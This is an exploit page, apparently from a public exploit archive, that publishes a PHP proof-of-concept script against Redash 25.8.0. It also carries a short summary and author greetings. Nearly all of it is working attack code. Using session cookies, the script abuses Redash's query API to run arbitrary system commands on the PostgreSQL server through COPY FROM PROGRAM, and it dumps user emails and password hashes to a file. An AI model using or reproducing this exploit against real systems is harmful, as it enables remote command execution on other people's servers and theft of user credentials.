Share
## https://sploitus.com/exploit?id=PACKETSTORM:215802
=============================================================================================================================================
    | # Title     : Redash 25.8.0 Password Hash Extraction                                                                                      |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://redash.io/                                                                                                          |
    =============================================================================================================================================
    
    [+] Summary    : This PHP script is a security exploitation tool that targets Redash, an open-source data visualization platform. 
                     The tool leverages a configuration vulnerability in Redash's default PostgreSQL setup to perform two critical attacks:
    				 
    [+] Key Capabilities:
    
    Remote Command Execution (RCE) - Executes arbitrary system commands on the database server using PostgreSQL's COPY FROM PROGRAM functionality
    
    Password Hash Extraction - Extracts password hashes from Redash's internal user authentication table
    
    [+] POC :
    
    <?php
    /*
     * poc.php
     *
     * =Usage=
     
     * php poc.php <url> <cookie_file> [--cmd <command> | --dump]
     
     * Example: php poc.php http://localhost:5000 cookie.txt --cmd "id"
     
     * Example: php poc.php http://localhost:5000 cookie.txt --dump
     */
    
    error_reporting(E_ALL);
    ini_set('display_errors', 1);
    
    $GLOBALS['ssl_verify'] = false;
    
    function print_usage($script_name) {
        echo "Usage: php $script_name <url> <cookie_file> [--cmd <command> | --dump]\n\n";
        echo "Examples:\n";
        echo "  php $script_name http://localhost:5000 cookie.txt --cmd 'id'\n";
        echo "  php $script_name $script_name http://localhost:5000 cookie.txt --dump\n\n";
    }
    
    function load_cookies($path) {
        $cookies = [];
        if (!file_exists($path)) {
            die("Error: Cookie file not found: $path\n");
        }
        
        $lines = file($path, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
        foreach ($lines as $line) {
            if (trim($line) === '' || $line[0] === '#') {
                continue;
            }
    
            $parts = explode("\t", $line);
            if (count($parts) >= 7) {
                $cookies[$parts[5]] = $parts[6];
            }
        }
        
        return $cookies;
    }
    
    function normalize_url($url) {
        $url = rtrim($url, '/');
        
        if (strpos($url, 'http://') === 0 || strpos($url, 'https://') === 0) {
            return $url;
        }
        
        $protocols = ['https://', 'http://'];
        foreach ($protocols as $protocol) {
            $test_url = $protocol . $url;
            $ch = curl_init($test_url);
            curl_setopt_array($ch, [
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_NOBODY => true,
                CURLOPT_HEADER => true,
                CURLOPT_SSL_VERIFYPEER => $GLOBALS['ssl_verify'],
                CURLOPT_SSL_VERIFYHOST => $GLOBALS['ssl_verify'],
                CURLOPT_TIMEOUT => 3
            ]);
            
            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            if ($http_code > 0) {
                return $test_url;
            }
        }
        
        return 'http://' . $url;
    }
    
    function find_api_path($base_url, $cookies) {
        $session = create_session($cookies);
        
        $paths = [
            "/api/query_results",
            "/default/api/query_results",
            "/org/api/query_results",
        ];
        
        foreach ($paths as $path) {
            $url = $base_url . $path;
            try {
                $response = http_post($session, $url, [
                    "query" => "SELECT 1",
                    "data_source_id" => 1,
                    "parameters" => []
                ]);
                
                if ($response['status'] == 200 || $response['status'] == 400) {
                    return $path;
                }
            } catch (Exception $e) {
            }
        }
        
        return $paths[0];
    }
    
    function create_session($cookies) {
        $cookie_string = '';
        foreach ($cookies as $name => $value) {
            $cookie_string .= $name . '=' . $value . '; ';
        }
        
        return [
            'cookies' => rtrim($cookie_string, '; '),
            'headers' => [
                'Content-Type: application/json',
                'Accept: application/json'
            ]
        ];
    }
    
    function http_get($session, $url, $timeout = 15) {
        $ch = curl_init($url);
        
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_HTTPHEADER => $session['headers'],
            CURLOPT_COOKIE => $session['cookies'],
            CURLOPT_SSL_VERIFYPEER => $GLOBALS['ssl_verify'],
            CURLOPT_SSL_VERIFYHOST => $GLOBALS['ssl_verify'],
            CURLOPT_TIMEOUT => $timeout,
            CURLOPT_FOLLOWLOCATION => true
        ]);
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $error = curl_error($ch);
        curl_close($ch);
        
        if ($error && $http_code == 0) {
            throw new Exception("HTTP request failed: $error");
        }
        
        return [
            'status' => $http_code,
            'body' => $response,
            'json' => json_decode($response, true)
        ];
    }
    
    function http_post($session, $url, $data, $timeout = 30) {
        $ch = curl_init($url);
        
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_POST => true,
            CURLOPT_POSTFIELDS => json_encode($data),
            CURLOPT_HTTPHEADER => array_merge($session['headers'], ['Content-Type: application/json']),
            CURLOPT_COOKIE => $session['cookies'],
            CURLOPT_SSL_VERIFYPEER => $GLOBALS['ssl_verify'],
            CURLOPT_SSL_VERIFYHOST => $GLOBALS['ssl_verify'],
            CURLOPT_TIMEOUT => $timeout,
            CURLOPT_FOLLOWLOCATION => true
        ]);
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $error = curl_error($ch);
        curl_close($ch);
        
        if ($error && $http_code == 0) {
            throw new Exception("HTTP request failed: $error");
        }
        
        return [
            'status' => $http_code,
            'body' => $response,
            'json' => json_decode($response, true)
        ];
    }
    
    function execute_rce($base_url, $cookies, $command) {
        $session = create_session($cookies);
        $api_path = find_api_path($base_url, $cookies);
        $endpoint = $base_url . $api_path;
        
        $table = "rce_" . substr(md5($command), 0, 8);
        
        $payload = [
            "query" => "CREATE UNLOGGED TABLE IF NOT EXISTS $table AS SELECT '1' WHERE 1=0; COPY $table FROM PROGRAM '$command'; SELECT * FROM $table",
            "data_source_id" => 1,
            "parameters" => []
        ];
        
        $resp = http_post($session, $endpoint, $payload);
        
        if ($resp['status'] != 200) {
            throw new Exception("Query submission failed: HTTP " . $resp['status'] . " - check credentials / session expiration");
        }
        
        $result = $resp['json'];
    
        if (isset($result['query_result'])) {
            $rows = $result['query_result']['data']['rows'];
            $output = [];
            foreach ($rows as $row) {
                if (isset($row['?column?'])) {
                    $output[] = $row['?column?'];
                }
            }
            return $output;
        }
    
        $job_id = $result['job']['id'] ?? null;
        if (!$job_id) {
            throw new Exception("Failed to submit query: " . print_r($result, true));
        }
    
        $deadline = time() + 60;
        while (time() < $deadline) {
            $job_url = $base_url . "/api/jobs/$job_id";
            $job_resp = http_get($session, $job_url);
            
            if ($job_resp['status'] != 200) {
                throw new Exception("Failed to poll job: HTTP " . $job_resp['status']);
            }
            
            $job = $job_resp['json']['job'] ?? [];
            
            if (($job['status'] ?? 0) == 3) {  // Complete
                $result_id = $job['query_result_id'] ?? null;
                $result_paths = [
                    "/api/query_results/$result_id",
                    "/default/api/query_results/$result_id"
                ];
                
                foreach ($result_paths as $res_path) {
                    try {
                        $url = $base_url . $res_path;
                        $res = http_get($session, $url);
                        if ($res['status'] == 200) {
                            $rows = $res['json']['query_result']['data']['rows'];
                            $output = [];
                            foreach ($rows as $row) {
                                if (isset($row['?column?'])) {
                                    $output[] = $row['?column?'];
                                }
                            }
                            return $output;
                        }
                    } catch (Exception $e) {
                    }
                }
                throw new Exception("Could not fetch query results");
            }
            
            if (($job['status'] ?? 0) == 4) {  // Failed
                throw new Exception("Job failed: " . ($job['error'] ?? 'Unknown error'));
            }
            
            usleep(500000); // 0.5 seconds
        }
        
        throw new Exception("Job did not complete");
    }
    
    function extract_password_hashes($base_url, $cookies) {
        $session = create_session($cookies);
        $api_path = find_api_path($base_url, $cookies);
        $endpoint = $base_url . $api_path;
        $payload = [
            "query" => "SELECT email, password_hash FROM users",
            "data_source_id" => 1,
            "parameters" => []
        ];
        
        $resp = http_post($session, $endpoint, $payload);
        
        if ($resp['status'] != 200) {
            throw new Exception("Query submission failed: HTTP " . $resp['status'] . " - check credentials / session expiration");
        }
        
        $result = $resp['json'];
    
        if (isset($result['query_result'])) {
            $rows = $result['query_result']['data']['rows'];
            $hash_list = [];
            foreach ($rows as $row) {
                $email = $row['email'] ?? '';
                $password_hash = $row['password_hash'] ?? '';
                if ($password_hash && strpos($password_hash, '$') === 0 && $email) {
                    $hash_list[] = [$email, $password_hash];
                }
            }
            return $hash_list;
        }
    
        $job_id = $result['job']['id'] ?? null;
        if (!$job_id) {
            throw new Exception("Failed to submit query: " . print_r($result, true));
        }
    
        $deadline = time() + 60;
        while (time() < $deadline) {
            $job_url = $base_url . "/api/jobs/$job_id";
            $job_resp = http_get($session, $job_url);
            
            if ($job_resp['status'] != 200) {
                throw new Exception("Failed to poll job: HTTP " . $job_resp['status']);
            }
            
            $job = $job_resp['json']['job'] ?? [];
            
            if (($job['status'] ?? 0) == 3) {  // Complete
                $result_id = $job['query_result_id'] ?? null;
                $result_paths = [
                    "/api/query_results/$result_id",
                    "/default/api/query_results/$result_id"
                ];
                
                foreach ($result_paths as $res_path) {
                    try {
                        $url = $base_url . $res_path;
                        $res = http_get($session, $url);
                        if ($res['status'] == 200) {
                            $rows = $res['json']['query_result']['data']['rows'];
                            $hash_list = [];
                            foreach ($rows as $row) {
                                $email = $row['email'] ?? '';
                                $password_hash = $row['password_hash'] ?? '';
                                if ($password_hash && strpos($password_hash, '$') === 0 && $email) {
                                    $hash_list[] = [$email, $password_hash];
                                }
                            }
                            return $hash_list;
                        }
                    } catch (Exception $e) {
                    }
                }
                throw new Exception("Could not fetch query results");
            }
            
            if (($job['status'] ?? 0) == 4) {  // Failed
                throw new Exception("Job failed: " . ($job['error'] ?? 'Unknown error'));
            }
            
            usleep(500000); // 0.5 seconds
        }
        
        throw new Exception("Job did not complete");
    }
    
    function main($argv) {
        if (count($argv) < 3) {
            print_usage($argv[0]);
            exit(1);
        }
        
        $url = $argv[1];
        $cookie_file = $argv[2];
        $mode = "--dump";
        $command = null;
        
        if (count($argv) > 3) {
            if ($argv[3] == "--cmd") {
                $mode = "--cmd";
                if (count($argv) < 5) {
                    echo "Error: --cmd requires a command argument\n";
                    exit(1);
                }
                $command = $argv[4];
            } elseif ($argv[3] == "--dump") {
                $mode = "--dump";
            } else {
                echo "Error: Unknown option {$argv[3]}\n";
                exit(1);
            }
        }
        
        try {
            $url = normalize_url($url);
            $cookies = load_cookies($cookie_file);
            
            if ($mode == "--cmd") {
                fwrite(STDERR, "[*] Executing command: $command\n\n");
                $output = execute_rce($url, $cookies, $command);
                foreach ($output as $line) {
                    echo $line . "\n";
                }
            } else {  // --dump
                fwrite(STDERR, "[*] Extracting password hashes...\n");
                $hash_list = extract_password_hashes($url, $cookies);
                fwrite(STDERR, "[*] Found " . count($hash_list) . " password hashes\n\n");
                
                if (empty($hash_list)) {
                    fwrite(STDERR, "No password hashes found\n");
                    exit(1);
                }
                $hash_file = fopen('hashes.txt', 'w');
                foreach ($hash_list as $hash_entry) {
                    list($email, $password_hash) = $hash_entry;
                    echo $email . "\n";
                    echo $password_hash . "\n\n";
                    fwrite($hash_file, $password_hash . "\n");
                }
                fclose($hash_file);
                
                fwrite(STDERR, "[*] Hashes written to hashes.txt\n");
            }
        } catch (Exception $e) {
            echo "Error: " . $e->getMessage() . "\n";
            exit(1);
        }
    }
    
    if (php_sapi_name() === 'cli') {
        main($argv);
    } else {
        echo "This script must be run from the command line.\n";
    }
    ?>
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================